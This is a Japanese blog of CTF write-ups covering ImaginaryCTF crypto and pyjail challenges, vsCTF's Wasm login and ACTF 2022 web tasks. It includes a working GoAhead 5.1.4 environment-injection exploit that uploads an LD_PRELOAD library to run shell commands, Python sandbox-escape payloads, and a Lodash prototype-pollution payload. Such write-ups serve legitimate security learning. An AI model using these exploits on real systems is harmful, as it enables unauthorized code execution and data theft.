"multi-prime RSA python" みたいな感じでググる素晴らしいスクリプトが出てくる。これに投げるとフラグが得られた。スクリプトキディか?

ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

[Crypto 100] cbc (123 solves)

以下のようなPythonスクリプトが与えられる。問題名ではCBCと言っているけど大嘘で、平文の各ブロックを直前の暗号文のブロックとXORしているわけではなく、なぜか直前の暗号文ブロックを鍵としている。当然ながら直前の暗号文ブロックはわかっているので、それを手がかりに復号できそう。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from os import urandom

def cbc_encrypt(msg: bytes):
  msg = pad(msg, 16)
  msg = [msg[i:i+16] for i in range(0, len(msg), 16)]
  key = urandom(16)
  out = []
  for block in msg:
    cipher = AES.new(key, AES.MODE_ECB)
    next = cipher.encrypt(block)
    out.append(next)
    key = next
  out = b"".join(out)
  return key, out

def main():
  key, ct = cbc_encrypt(open("flag.txt", "rb").read()*3)
  print(f"{ct = }")

if __name__ == "__main__":
  main()

# ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"

雑にソルバを書く。

import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84"
ct = re.findall(rb'.{16}', ct, re.S)

def decrypt(i):
    cipher = AES.new(ct[i-1], AES.MODE_ECB)
    return cipher.decrypt(ct[i])

res = b''
res += decrypt(-4)
res += decrypt(-3)
res += decrypt(-2)
res += decrypt(-1)
print(res)

実行するとフラグが得られた。

$ python3 solve.py 
b'ong_02b413a9}\nictf{i_guess_i_implemented_cbc_wrong_02b413a9}\n\x03\x03\x03'
ictf{i_guess_i_implemented_cbc_wrong_02b413a9}

[Crypto 316] otp (48 solves)

以下のPythonスクリプトと、これを動かしている問題サーバへの接続情報が与えられる。要はランダムっぽく secureRand で生成したビット列と入力した文字列(もしくはフラグ)をXORしているだけ。

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes, bytes_to_long
import random
import math

def secureRand(bits, seed):
  jumbler = []
  jumbler.extend([2**n for n in range(300)])
  jumbler.extend([3**n for n in range(300)])
  jumbler.extend([4**n for n in range(300)])
  jumbler.extend([5**n for n in range(300)])
  jumbler.extend([6**n for n in range(300)])
  jumbler.extend([7**n for n in range(300)])
  jumbler.extend([8**n for n in range(300)])
  jumbler.extend([9**n for n in range(300)])
  out = ""
  state = seed % len(jumbler)
  for _ in range(bits):
    if int(str(jumbler[state])[0]) < 5:
      out += "1"
    else:
      out += "0"
    state = int("".join([str(jumbler[random.randint(0, len(jumbler)-1)])[0] for n in range(len(str(len(jumbler)))-1)]))
  return long_to_bytes(int(out, 2)).rjust(bits//8, b'\0')

def xor(var, key):
  return bytes(a ^ b for a, b in zip(var, key))

def main():
  print("Welcome to my one time pad as a service!")
  flag = open("flag.txt", "rb").read()
  seed = random.randint(0, 100000000)
  while True:
    inp = input("Enter plaintext: ").encode()
    if inp == b"FLAG":
      print("Encrypted flag:", xor(flag, secureRand(len(flag)*8, seed)).hex())
    else:
      print("Encrypted message:", xor(inp, secureRand(len(inp)*8, seed)).hex())

if __name__ == "__main__":
  main()

secureRand の返り値に偏りがないか確かめてみる。

#!/usr/bin/env python3

from Crypto.Util.number import long_to_bytes, bytes_to_long
import collections
import random

def secureRand(bits, seed):
  jumbler = []
  jumbler.extend([2**n for n in range(300)])
  jumbler.extend([3**n for n in range(300)])
  jumbler.extend([4**n for n in range(300)])
  jumbler.extend([5**n for n in range(300)])
  jumbler.extend([6**n for n in range(300)])
  jumbler.extend([7**n for n in range(300)])
  jumbler.extend([8**n for n in range(300)])
  jumbler.extend([9**n for n in range(300)])
  out = ""
  state = seed % len(jumbler)
  for _ in range(bits):
    if int(str(jumbler[state])[0]) < 5:
      out += "1"
    else:
      out += "0"
    state = int("".join([str(jumbler[random.randint(0, len(jumbler)-1)])[0] for n in range(len(str(len(jumbler)))-1)]))
  return long_to_bytes(int(out, 2)).rjust(bits//8, b'\0')

def xor(var, key):
  return bytes(a ^ b for a, b in zip(var, key))

def main():
  seed = random.randint(0, 100000000)
  r = [secureRand(10 * 8, seed) for _ in range(1000)]
  for i in range(10):
    print(i, collections.Counter([x[i] for x in r]).most_common(5))

if __name__ == "__main__":
  main()

実行してみる。なるほど、secureRand255 を吐きがちらしい。

$ python3 bias.py
0 [(255, 87), (254, 41), (191, 40), (251, 37), (239, 37)]
1 [(255, 60), (191, 35), (223, 28), (127, 27), (251, 25)]
2 [(255, 49), (191, 36), (223, 33), (239, 30), (127, 27)]
3 [(255, 61), (191, 43), (247, 30), (254, 26), (251, 25)]
4 [(255, 57), (223, 40), (253, 32), (239, 31), (247, 29)]
5 [(255, 64), (191, 30), (254, 27), (251, 24), (253, 24)]
6 [(255, 69), (247, 31), (254, 31), (127, 31), (253, 25)]
7 [(255, 64), (239, 35), (247, 32), (127, 28), (254, 27)]
8 [(255, 69), (251, 32), (247, 31), (191, 28), (254, 27)]
9 [(255, 57), (251, 30), (253, 29), (223, 28), (247, 27)]

この性質を利用したソルバを書く。フラグを暗号化した文字列を1000個収集し、各バイトでもっとも出現したものを調べる。それと255をXORすると平文が得られるはずだ。

import binascii
import collections
from pwn import *

s = remote('otp.chal.imaginaryctf.org', 1337)

a = []
for _ in range(1000):
    s.recvuntil(b'Enter plaintext: ')
    s.sendline(b'FLAG')
    s.recvuntil(b'Encrypted flag: ')
    r = binascii.unhexlify(s.recvline()[:-1])
    a.append(r)

l = len(a[0])
res = []
for i in range(l):
    r = collections.Counter([x[i] for x in a]).most_common(1)[0][0]
    res.append(r ^ 255)
print(bytes(res))

実行するとフラグが得られた。

$ python3 solve.py 
[+] Opening connection to otp.chal.imaginaryctf.org on port 1337: Done
b'ictf{benfords_law_catching_tax_fraud_since_1938}\n'
[*] Closed connection to otp.chal.imaginaryctf.org port 1337
ictf{benfords_law_catching_tax_fraud_since_1938}

[Crypto 378] hash (39 solves)

以下のようなPythonスクリプトjbox.txt というテキストファイルが与えられる。sha42ハッシュ関数で、これを使って生成したハッシュが与えられるので、その元になった文字列を特定する作業を50回繰り返せばフラグがもらえるらしい。

#!/usr/bin/env python3

import string
import random

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s: bytes, rounds=42):
  out = [0]*21
  for round in range(rounds):
    for c in range(len(s)):
      if config[((c//21)+round)%len(config)][c%21] == 1:
        out[(c+round)%21] ^= s[c]
  return bytes(out).hex()

def main():
  print("Can you guess my passwords?")
  for trial in range(50):
    print(f"--------ROUND {trial}--------")
    password = "".join([random.choice(string.printable) for _ in range(random.randint(15,20))]).encode()
    hash = sha42(password)
    print(f"sha42(password) = {hash}")
    guess = bytes.fromhex(input("hex(password) = ").strip())
    if sha42(guess) == hash:
      print("Correct!")
    else:
      print("Incorrect. Try again next time.")
      exit(-1)
  flag = open("flag.txt", "r").read()
  print(f"Congrats! Your flag is: {flag}")

if __name__ == "__main__":
  main()

雑にZ3Pyで殴ったら解けてしまった。

#!/usr/bin/env python3

import binascii
import string
from pwn import *
from z3 import *

config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the box

# secure hashing algorithm 42
def sha42(s, rounds=42):
  out = [0]*21
  for round in range(rounds):
    for c in range(len(s)):
      if config[((c//21)+round)%len(config)][c%21] == 1:
        out[(c+round)%21] ^= s[c]
  return out

def solve_single(l, h):
  flag = [BitVec(f'flag_{i}', 8) for i in range(l)]
  solver = Solver()
  h = binascii.unhexlify(h)

  for f in flag:
    solver.add(Or(*[f == ord(c) for c in string.printable]))
  solver.add([c == d for c, d in zip(sha42(flag), h)])

  c = solver.check()
  if c == unsat:
    return

  m = solver.model()
  res = ''
  for i in range(l):
    res += chr(m[flag[i]].as_long())

  return res

def solve(h):
  for l in range(15, 21):
    r = solve_single(l, h)
    if r is not None:
      return r.encode().hex()


sock = remote('hash.chal.imaginaryctf.org', 1337)
for _ in range(50):
  sock.recvuntil(b'sha42(password) = ')
  h = sock.recvline().strip().decode()
  ans = solve(h)
  print(h, ans)

  sock.recvuntil(b'hex(password) = ')
  sock.sendline(ans.encode())

  print(sock.recvline())

sock.interactive()

実行する。

$ python3 solve.py
…
3b12747f09624a71013a434b5e6a0c4e351f233350 22794a673253416350575b352b75435e39554560
b'Correct!\n'
0c113c53357015120e052e1b66087d455c76764747 632b2373455b7473724523265e3858447469
b'Correct!\n'
590d7914161d776c6518725b18340d370b6c402a35 766b6d356b3f2240604427656a307c4e3c
b'Correct!\n'
[*] Switching to interactive mode
Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

[*] Got EOF while reading in interactive
ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}

[Crypto 390] stream (37 solves)

x86_64のELF(!?)と、それを使ってフラグを暗号化した文字列が与えられる。IDA Freewareに投げてみると、以下のようにデコンパイルされた。コマンドライン引数から8バイトの鍵が与えられ、平文とそれをXORするらしい。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 k; // rbx
  FILE *v4; // r12
  int v5; // r13d
  char *v6; // rbp
  __int64 v7; // rax
  FILE *v8; // r12

  if ( argc <= 2 )
  {
    __printf_chk(1LL, "[*] Usage: %s [FILE] [KEY] [OUT]\n", *argv);
    exit(-1);
  }
  k = strtol(argv[2], 0LL, 10);
  v4 = fopen(argv[1], "r");
  fseek(v4, 0LL, 2);
  v5 = 8 * (ftell(v4) / 8) + 8;
  fseek(v4, 0LL, 0);
  fclose(v4);
  v6 = (char *)malloc(v5);
  fgets(v6, v5, v4);
  if ( v5 > 7 )
  {
    v7 = 0LL;
    do
    {
      *(_QWORD *)&v6[8 * v7] ^= k;
      k *= k;
      ++v7;
    }
    while ( v5 / 8 > (int)v7 );
  }
  v8 = fopen(argv[3], "w");
  fwrite(v6, v5, 1uLL, v8);
  fclose(v8);
  return 0;
}

例のごとく ictf{ というフラグフォーマットを利用して、8バイトの鍵のうち5バイトは特定できた。残りの3バイトは総当たりで特定しよう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check(unsigned char *buf) {
    int j;

    for (j = 0; j < 48; j++) {
        if ((buf[j] < 0x20 && buf[j] != '\0' && buf[j] != '\n') || buf[j] > 0x7e) {
            return 0;
        }
    }

    return 1;
}

int main(void) {
    unsigned long long orig_key, key;
    unsigned long long i;
    int j;

    unsigned char orig_buf[48];
    unsigned char buf[48];
    long long int *buff = (long long int *)buf;

    FILE *fp = fopen("out.txt", "rb");
    fread(orig_buf, sizeof(char), 48, fp);

    for (i = 0LL; i < 0x1000000LL; i++) {
        orig_key = 0xa8612b01cbLL | (i << (8 * 5));
        key = orig_key;
        memcpy(buf, orig_buf, 48);

        for (j = 0; j < 6; j++) {
            buff[j] ^= key;
            key *= key;
        }

        if (check(buf)) {
            printf("[key %llx] %s\n", orig_key, buf);
        }
    }

    return 0;
}

実行するといくつかフラグの候補が出てくるが、英文としてまともなのは最後のひとつだけ。

$ gcc -o solve solve.c; ./solve
[key 27dcf4a8612b01cb] ictf{y0 _rec0veled_my_k9ystreamW901bf2e$}

[key 68dcf4a8612b01cb] ictf{y0o_rec0veVed_my_kmystreamO901bf2eT}

[key 72dcf4a8612b01cb] ictf{y0u_rec0vered_my_keystream_901bf2e4}
ictf{y0u_rec0vered_my_keystream_901bf2e4}

競技終了後に解いた問題

[Misc 492] pycorrectionalcenter (10 solves)

次のPythonコードと、このコードが動いている問題サーバへの接続情報が与えられる。使える文字種にかなりの制限があるし、exec, eval, input といった有用なビルトイン関数が使えなくなってしまっている。しかも、入力できるコードは12文字以内。厳しすぎる。

#!/usr/bin/env python3.9

trash = {}

def main():
  print("Welcome to the Python Correctional Center, where you won't be able to escape!")
  allowed_variables = {**vars(__builtins__).copy(), **globals()}
  for name in ["exec", "eval", "__import__", "breakpoint", "input", "__builtins__", "getattr", "setattr", "delattr", "license", "vars"]:
    allowed_variables[name] = None
  inp = input(">>> ")
  assert all([ord(c) < 128 for c in inp])
  assert not '.' in inp
  assert not '_' in inp
  assert not '!' in inp
  assert not '*' in inp
  assert not '&' in inp
  assert not '@' in inp
  assert not '`' in inp
  assert not '~' in inp
  assert not '{' in inp
  assert not '}' in inp
  assert not ';' in inp
  assert not '\'' in inp
  assert not '\'' in inp
  assert not 'lambda' in inp
  assert not 'raise' in inp
  assert not 'assert' in inp
  assert not 'if' in inp
  assert not 'for' in inp
  assert not 'import' in inp
  assert len(inp) < 12
  exec(inp, {"__builtins__": allowed_variables}, trash)
  exit()

if __name__ == "__main__":
  main()

exec の直前に print([k for k, v in allowed_variables.items() if v is not None ]) を入れてみて、どんな関数が使えるかチェックしてみる*3。…が、11字以下という制限ではどれを使おうにも厳しいように思える。とりあえず、繰り返し main を呼び出して時間稼ぎができないか。main() で一応呼び出せるのだけれども、文字数を圧迫してしまう。

['__name__', '__loader__', '__build_class__', 'abs', 'all', 'any', 'ascii', 'bin', 'callable', 'chr', 'compile', 'dir', 'divmod', 'format', 'globals', 'hasattr', 'hash', 'hex', 'id', 'isinstance', 'issubclass', 'iter', 'len', 'locals', 'max', 'min', 'next', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'sorted', 'sum', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'help', '__annotations__', '__file__', 'trash', 'main']

色々試していたところ、input はキャリッジリターンを入力してもそこで入力を打ち切らないことがわかった。a=1\rb=0 のような入力をしても、inp にはそのまま入るということになる。これなら、m=main\rm() のようにすれば繰り返し main を呼び出せる。

この m への代入はどうなるかというと、exec の第3引数として trash という dict が与えられているから、その m というキーの値として保存されることになる。trashmain の呼び出しごとにクリアされるわけではないから、2回目以降の main の呼び出しの中ではわざわざ m=main をする必要はない。ただし、exec の直後の exit を避けるために、(何らかのコード)\rm() というような感じで毎回最後に m を呼び出しつつ、7文字以内でなんとかしなければならない。

どう役立てられるかは分からないが、とりあえず任意の文字列を作れるようにしておきたい。chr も数値も使えるのはありがたい。1文字の変数に関数を代入することで、main の呼び出しと同様に文字数の短縮を狙う。最初に c=chr してから、r="", x=4, x<<=4, x|=1, r+=c(x) という感じで1文字ずつ文字列を組み立てられる。やったあと思いつつ、結局競技中はそれを活用する方法を思いつけなかった。open('flag') はできても、o=open, f=o(fn), o.read(). が禁止されているからダメだし、と悩んでいた。


競技終了後の7/22に、作問者のEth007さんがDiscordで解法を公開されていた。いわく、print(set(open('flag.txt'))) 相当のことをするとフラグが読めるそう。そんな馬鹿なと思いつつ手元で確かめてみると、できた。ほかの関数で試してみたところ、set 以外にも listnext でもできた。これは _io.TextIOWrapper__next__ が生えているっぽい。CPythonのコードを確認してみると、たしかに生えている。面白い。

[Misc 497] pycrib (6 solves)

Thanks to https://ctftime.org/task/16811 for inspiration, but you'll have to do more than just import code to read the flag here...

The flag is in flag in the current directory.

次のPythonコードと、このコードが動いている問題サーバへの接続情報が与えられる。シンプルだが、空白文字と英小文字しか使えず、しかも builtinsabc といった読み込み済みのモジュールが削除されてしまっている。

#!/usr/bin/env python3

import sys
import string

allowed = string.whitespace + string.ascii_lowercase
for name in sys.modules.keys():
  if any(n in name for n in ["heap", "imp", "marshal", "code", "func", "enc", "lib", "abc", "warn", ".", "x", "builtins"]):
    sys.modules[name] = None
del sys
del string

print("Welcome to the Python Crib. We honestly don't care if you escape.")
inp = input(">>> ")
b = not all([n in allowed for n in inp])
exec(inp) if not b else print("How cute!")
exit(b)

問題文で参照されているのはUIUCTF 2021のbaby_pythonという問題だが、どうやら(sys.modules の削除がないという点を除いて)よく似た問題だったらしい。そのwriteupを確認すると、どうやらその問題では from code import interact as exit を実行することで、直後に実行される exit を乗っ取っていたようだった。以下のエラーメッセージを見ればわかるように、同じ手は使えない。

>>> from code import interact as exit
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python3.10/code.py", line 10, in <module>
  File "/usr/local/lib/python3.10/codeop.py", line 36, in <module>
ModuleNotFoundError: import of warnings halted; None in sys.modules

pycorrectionalcenterでキャリッジリターンが有用であることに気づいていたので、それでふたつ以上のモジュールを読み込むのだろうとは思っていた。exit の方は from os import system as exitos.system を、b の方には /bin/bash でもユーザ入力でもなんでもよいので、flag というファイルを出力できるOSコマンドを入れられれば嬉しい。

雑に探していると、sys.executablePythonの実行ファイルへのパスが含まれていることがローカルで確認できた。from os import system as exit\rfrom sys import executable as b をローカルで試してみたところ、ちゃんと動いた。これで勝ったと思ったが、なぜかリモートでは動かない。どうして…?

しょうがないので、from main import inp as b で、もう一度 main.py を呼び出して、(何かしらの文字列)\rfrom operator import truth as exit のようにPythonコードとしては exit によるプロセスの終了を防ぎつつ、OSコマンドとしては flag を読み出すようなpolyglotを作れないかと考えた。が、結局思いつかなかった。


こちらも競技終了後の7/22に、作問者のEth007さんがDiscordで解法を公開されていた。正解は cat or flag if not input else input。これなら cat or flag の部分は評価されない。なるほどなあ。方針は合っていただけにかなり悔しい。

感想など

解いたのは全部で41問(たぶん)で、特に高難度帯の問題は面白かった。それはForensicsカテゴリで出すものなんだろうか、Miscでいいんじゃないかと思った問題がいくつかあった。ForensicsっぽいのはOgreぐらいではないか。

競技の終盤ではMiscのpycorrectionalcenter, pycribというふたつのpyjail問(なのかな)に結構な時間を使ったのだけれども、結局解ききれなかった。どちらもCRを使ってなんとかできないかなと色々試していた。pycribでは、from os import system as exit\rfrom sys import executable as b がローカルで動いたので、ガッツポーズしながらリモートで試したら通らず困惑する。main.py だけじゃなく Dockerfile もくれ~と思った。

実は7/17のnazotokiCTFがこの週の本命だったのだけれど、ノーヒントを貫こうとしたところMisc, Web, Riddleの3問目でつまずいて投げ出してしまった。[Web]みずがめ座Satokiさんのwriteupを見る限り、解けて然るべき問題だったと思う。あと[Misc]うお座はね、今確認したら rockyou.txt にフォーマルハウトあるじゃん。なぜ試さなかったのか。…あれ、でも試したはずだけどなあとおもったら、「当初は配布されたzipのパスワードが間違っており」とあり、はい。

*1:CTFだといいですね

*2:InterKosenCTFから毎年楽しみにしております

*3:helpがまず思いついたけど、リモートの環境ではページャーは起動しなかった

vsCTF 2022 - [Web]Baby Wasm

I made the most secure login page ever, obviously it's uncrackable if I used Wasm!

https://challs.viewsource.me/basic-wasm-m9c6xdb7

Webカテゴリの問題のはずが、wasmファイルを解析する問題だった。カテゴリの付け間違えではないかと思いつつ、静的解析をサボりにサボって解いたのが楽しかったので、メモを残しておく。


Google Chromeで与えられたURLにアクセスしてみると、以下のようなログインフォームが表示された。適当なユーザ名とパスワードを入力すると Login failed と表示される。DevToolsのNetworkタブを開きつつ同じ作業をやってみても、どこにもリクエストは飛んでいない。全部ローカルでやってるっぽい。wasmを解析して正しいユーザ名とパスワードを当てる必要がありそう。

$web_sys::features::gen_HtmlTextAreaElement::HtmlTextAreaElement::value::… のような関数名や、以下のようなファイル末尾にある文字列(Producers Sectionというやつだろうか)から、Rustのコードをコンパイルしたものであろうと推測できる。真面目に静的解析するのは面倒くさそうだ。

strings で怪しげな文字列がないか探してみると、それっぽいものが見つかった。ユーザ名は admin で、その上にある2つの文字列がパスワードに関連するものだろう。一方はhexデコードすると73バイト、もう一方も73バイトということでペアで使いそう。これらをXORして過程をすっ飛ばしたくなる気持ちを抑えて、解析を進める。

$ strings index-9fa740b956e0b1c4_bg.wasm
…
bsrc/main.rs
1311061b2a000603173c0136001f050b112b1a0a0d2d0c070000090c130731173e121f04002d1037031a2f0e0d1c184b01251b1e010c1e52275f1c5e5e40390d533c0a00190d1c575b
exclusive_disjunction_is_amazing_also_this_entire_string_might_be_relevant
admin
Login successful, here's your flag: D
Login faileddivh1LoginformidusernameplaceholderUsernametypetext
brpasswordPassword
…

どこかにユーザが入力した認証情報と正解のものを比較しているような処理はないか。DevToolsのSourcesタブからwasmファイルを開き、strcmp やら compare やらそれっぽい関数名を検索する。$memcmp という関数があった。ここにブレークポイントを置いておく。

ユーザ名に admin を、パスワードに A を入力して Login ボタンを押してみると、$memcmp で実行が止まった。引数である $var0$var1 に入っているのはメモリのアドレスだろう。

Modulememories$memory からMemory Inspectorを開く。

11795761048876 を見に行ってみると、いずれも admin というバイト列を指していることがわかる。周囲にある文字列から推測するに、前者がユーザ入力で、後者が正解のユーザ名だろう。

このまま実行を再開するが、A というバイト列のアドレスが引数として渡ってくることはなかった。おそらく、パスワードの長さをチェックして、もし正しい長さでなければ $memcmp をそもそも呼ばないというような作りになっているのだろう。しらんけど。

さきほど strings で手に入れた文字列から推測して、パスワードに A を73回繰り返した文字列を入力した上でもう一度試してみる。今度は入力したパスワードとそれっぽい文字列を比較している様子が見られた。

ブレークポイントの設定を解除し、ユーザ名に admin を、パスワードに view_source_super_secret_admin_password_jipkchq9dzhjsep5x2u964fo6cxeuhj65 を入力する。Login ボタンを押すとフラグが表示された。

vsctf{w45m_i5_4w350m3_A8GiQVbn9f}

ACTF 2022 writeup

6/25 - 6/27という日程で開催された。zer0ptsで参加して8位。

他のメンバーが書いたwrite-up:


[Web 145] gogogo (118 solves)

EmbedThis GoAhead 5.1.4上で以下のようなCGIスクリプトが動いている。それだけ。

#!/bin/bash

echo -e "Content-Type: text/plain\n"
echo -e "Welcome to ACTF!\n"
env

GoAhead 5.1.4というバージョン番号にはめちゃくちゃ見覚えがある。pbctf 2021のAdvancementだ。これは0-day問で、multipart/form-data でPOSTすると環境変数を自由に変更した上でCGIスクリプトを実行させられるというものだった。脆弱性の詳細はメンバーのKahlaさんがまとめられていたのでそちらを参照のこと。

ahmed-belkahla.me

今回はbashスクリプトなので PYTHONWARNINGS のような環境変数は使えない。ただ、 docker-compose.ymlread_only: true が指定されていないので、前回は使えなかったが今度はファイルのアップロードと組み合わせることで LD_PRELOAD が使えるはずだ。

LD_PRELOAD でアップロードしたファイルをロードさせるには、一時ファイルのパスを知る必要がある。幸いにもCGIスクリプトenv環境変数として一時ファイルのパスを教えてくれるし、ファイル名は /tmp/tmp-66.tmp のように予測可能だ。

まず、LD_PRELOAD でロードすると cat /flag が実行されるライブラリを作成する。コンパイル後に strip でわざわざシンボルを取り除いているのは、GoAheadの最大アップロードサイズに引っかからないようにするため。

// gcc -shared -fPIC evil.c -o evil.so; strip evil.so; ls -l evil.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void neko(void) {
  unsetenv("LD_PRELOAD");
  system("cat /flag");
}

あとは適当なファイルをアップロードすることで、次にアップロードする一時ファイルのパスを推測し、evil.so をアップロードしつつ LD_PRELOAD でそれをロードさせるスクリプトを書く。

import re
import requests
URL = 'http://123.60.84.229:10218/cgi-bin/hello'

r = requests.post(URL, files={'test': ('a.txt', 'test')})
x = re.findall(r'/tmp/tmp-(\d+).tmp', r.text)[0]

next_path = '/tmp/tmp-{}.tmp'.format(int(x) + 3)

with open('evil.so', 'rb') as so:
    r = requests.post(URL, files={
        'neko': so,
    }, data={
        'LD_PRELOAD': next_path
    })
    print(r.text)

実行するとフラグが得られた。

$ python3 solve.py
Welcome to ACTF!

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}HTTP_ACCEPT_ENCODING=gzip, deflate
SERVER_NAME=172.19.0.2
FILE_FILENAME_neko=/tmp/tmp-4.tmp
…
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

[Web 434] poorui (27 solves)

フロントエンドがReactな感じのチャットアプリと、そのソースコードが与えられる。フロントエンドはminifiedされたソースコードしか与えられない…のかと思いきや、ソースマップがついてきていてありがたい。

与えられたURLにアクセスしてユーザ名を入力すると、そのままサービスが利用できる。パスワードを入力する必要はないが、ユーザ名がすでに取得されているものである場合には弾かれる。

問題名の通り大変簡素なUIになっている。メッセージタイプには Text, link, image, template があり、それぞれ普通のテキスト、指定したURLへのリンク、指定したURLの画像、指定したテンプレートにメッセージがレンダリングされるやつ。

目標は admin としてログインし、flagbot というユーザと会話することだ。この admin というユーザは以下のようなスクリプトで、定期的に自身に送られてきたメッセージを確認している。わざわざPuppeteerを使っているあたり、XSS問っぽい。

import puppeteer from "puppeteer";

const SERVER_URL = 'http://localhost:8081/chat';
const USERNAME = 'admin';

(async () => {
    const browser = await puppeteer.launch({
        headless: process.env.DEBUG ?? true,
        args: ['--no-sandbox']
    });
    const page = await browser.newPage()
    await page.goto(SERVER_URL)
    await page.type('#username', USERNAME)
    await page.click('#btn-login')
    page.on('load', () => {
        console.log(page.url())
        if(page.url() !== SERVER_URL){
            setTimeout(async () => {
                await page.goto(SERVER_URL)
                await page.type('#username', USERNAME)
                await page.click('#btn-login')
            }, 3000);
        }
    })
})();

Prototype Pollutionを見つけるまで

脆弱性がないかフロントエンドのコードを眺めていたら、KahlaさんがLodashでPrototype Pollutionができそうという投稿をされた。

_.VERSION でバージョンを確認してみると、確かに4.17.4と5年前にリリースされたもので古い。試しに _.merge({}, JSON.parse('{"__proto__":{"abc":123}}')) してみると、({}).abc123 が入っていた。Prototype Pollutionができるっぽい。

_.merge を使っている箇所を探すと、js/components/ChatBox.js というファイルで templateCompile というテンプレートをレンダリングするためのメソッドが見つかった。ここで ctx はユーザが自由に変更できる値で、それが lodash.merge に渡っている。

    templateCompile(tpl, ctx){
        let attrs = {}
        // console.log(tpl)
        Array.from(tpl.matchAll(/{{\s*(\w+)\s*}}/g)).forEach(a => {
            attrs[a[1]] = 'unknown'
        })
        lodash.merge(attrs, JSON.parse(ctx))
        console.log(attrs)
        for(let k in attrs){
            tpl = tpl.replaceAll(`{{${k}}}`, attrs[k])
        }
        let out = <iframe title={this.state.tplCnt} sandbox="" srcDoc={tpl}> wow </iframe>
        return out
    }

ただ、このメソッドに渡ってくるまでに js/utils/util.jssanitize という関数によって <, >, \, _ の4つの記号が削除されてしまっている。__proto__ が使えないので、constructor.prototype で代替する。

export const sanitize = (s) => {
    if(typeof s === 'string'){
        return s.replaceAll(/<|>|\\|_/g, '')
    }
    if(typeof s === 'object'){
        for(const [k, v] of Object.entries(s)){
            s[k] = sanitize(v)
        }
        return s
    }
    return s
}

{"constructor":{"prototype":{"abc":123}}} というJSON付きの、メッセージタイプが template であるメッセージを適当なユーザに送る。受信者のユーザで受信後に ({}).abc を確認すると、123 が入っていた。Prototype Pollutionが成功したっぽい。

gadget探し その1

あとはgadgetを探すだけだが、なかなか見つからない。フロントエンドのコード内でなにかないか探していると、image というメッセージタイプのメッセージの処理が見つかった。画像を表示するためには this.props.allowImageattrs.wow がtruthyでなければならない。後者の attrs は先程の ctx と同様にユーザが自由に変更できる値だが、前者はそうでない。Prototype Pollutionの使いどころだ。

        if(type === 'image'){
            // console.log(this.props)
            const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs
